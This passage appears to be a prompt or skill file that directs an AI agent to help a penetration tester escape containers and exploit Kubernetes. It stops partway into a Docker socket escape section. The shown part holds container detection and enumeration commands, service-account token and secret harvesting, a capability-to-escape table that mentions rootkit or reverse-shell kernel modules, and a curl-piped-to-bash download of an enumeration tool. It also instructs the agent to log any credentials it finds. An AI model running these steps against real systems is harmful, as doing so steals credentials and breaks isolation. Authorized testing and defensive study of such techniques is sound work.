/container-escapes

name: container-escapes
description: >
  Container escape, Docker breakout, and Kubernetes exploitation.
keywords:
  - container escape
  - docker breakout
  - escape this container
  - I'm in a container
  - kubernetes exploitation
  - pod escape
  - privileged container
  - docker socket
  - docker desktop
  - WSL2 container
  - k8s pentest
  - service account token
  - kubelet
  - etcd
  - container enumeration
  - am I in a container
  - cgroup escape
  - nsenter
  - hostPID
  - hostNetwork
  - cap_sys_admin container
tools:
  - kubectl
  - crictl
  - ctr
  - CDK
  - deepce
  - amicontained
  - linpeas
  - curl (for API interaction)
  - nsenter
opsec: medium

Container Escapes and Kubernetes Exploitation

You are helping a penetration tester escape from a containerized environment or exploit a Kubernetes cluster. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[container-escapes] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Shell access inside a container (Docker, Kubernetes pod, LXC, Podman)
• OR network access to Docker API (2375/2376), Kubernetes API (6443/8443),

kubelet (10250/10255), or etcd (2379)

Step 1: Container Detection and Enumeration

First, confirm you're in a container and identify the type and security posture.

Am I in a Container?

# Quick checks
ls -la /.dockerenv 2>/dev/null && echo "DOCKER CONTAINER"
ls -la /run/.containerenv 2>/dev/null && echo "PODMAN CONTAINER"
cat /proc/1/cgroup 2>/dev/null | grep -qiE "docker|containerd|kubepods|lxc|podman" && echo "CONTAINERIZED"

# Kubernetes pod detection
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null && echo "KUBERNETES POD"
env | grep -q KUBERNETES && echo "KUBERNETES POD"

# Docker Desktop / WSL2 detection — narrows escape vectors significantly
uname -r | grep -q "microsoft-standard-WSL2" && echo "DOCKER DESKTOP (WSL2 backend)"

# Container runtime detection
cat /proc/1/cgroup 2>/dev/null | head -5
cat /proc/self/mountinfo 2>/dev/null | head -20

Capability Check

Capabilities determine which escape techniques are available.

# Current capabilities
capsh --print 2>/dev/null
cat /proc/self/status | grep -i cap 2>/dev/null

# Decode capability bitmask
# CapEff: 0000003fffffffff = ALL capabilities (privileged)
# CapEff: 00000000a80425fb = Default Docker capabilities

# Quick privileged check — these only exist in privileged containers
test -e /dev/kmsg && echo "LIKELY PRIVILEGED"
test -w /proc/sys/kernel/core_pattern && echo "PRIVILEGED — /proc writable"
fdisk -l 2>/dev/null | head -5 && echo "DEVICE ACCESS — PRIVILEGED"
mount | grep -q "sysfs.*rw" && echo "SYSFS WRITABLE — PRIVILEGED"

**Key capabilities for escape:**

| Capability | Escape Technique | |-----------|-----------------| | `cap_sys_admin` | Mount host fs, cgroup release_agent, BPF | | `cap_sys_ptrace` | Process injection, /proc/[pid]/mem write | | `cap_sys_module` | Load kernel module (rootkit/reverse shell) | | `cap_dac_override` | Read/write any file | | `cap_dac_read_search` | Read any file (Shocker exploit) | | `cap_sys_rawio` | Raw I/O (/dev/mem, /dev/kmem) | | `cap_net_admin` | Network manipulation, ARP spoof | | `cap_net_raw` | Packet sniffing, raw sockets |

Environment Enumeration

# Current user and permissions
id
whoami

# Container ID
hostname  # Often the container ID
cat /proc/self/cgroup | grep -oP '[a-f0-9]{64}' | head -1

# Mounted filesystems (look for host mounts)
mount | grep -vE "^(proc|tmpfs|devpts|sysfs|cgroup)"
cat /proc/self/mountinfo | grep -vE "proc|tmpfs|devpts|sysfs|cgroup"

# Look for Docker socket
ls -la /var/run/docker.sock 2>/dev/null
ls -la /run/docker.sock 2>/dev/null
ls -la /var/run/containerd/containerd.sock 2>/dev/null
ls -la /run/containerd/containerd.sock 2>/dev/null
ls -la /var/run/crio/crio.sock 2>/dev/null

# Environment variables (credentials, configs)
env | sort

# Kubernetes-specific
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null
echo "K8S API: $KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"

# Network info
ip addr 2>/dev/null || ifconfig 2>/dev/null
ip route 2>/dev/null || route -n 2>/dev/null
cat /etc/resolv.conf
cat /etc/hosts

# Secrets and credentials on disk
find / -name "*.key" -o -name "*.pem" -o -name "*.cert" -o -name "*token*" \
  -o -name "*secret*" -o -name "*.env" -o -name "config.json" 2>/dev/null | \
  grep -v proc | grep -v sys | head -20

Automated Enumeration Tools

# deepce — Docker Enumeration, Escalation, Container Escapes
./deepce.sh
# Or from memory:
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | bash

# CDK — Container penetration toolkit
./cdk evaluate

# amicontained — Container introspection
./amicontained

# LinPEAS (container-aware)
./linpeas.sh

Present all findings and ask which escape vector to pursue.

Step 2: Docker Socket Escape

**Prerequisite:** Docker socket mounted inside the container (`/var/run/doc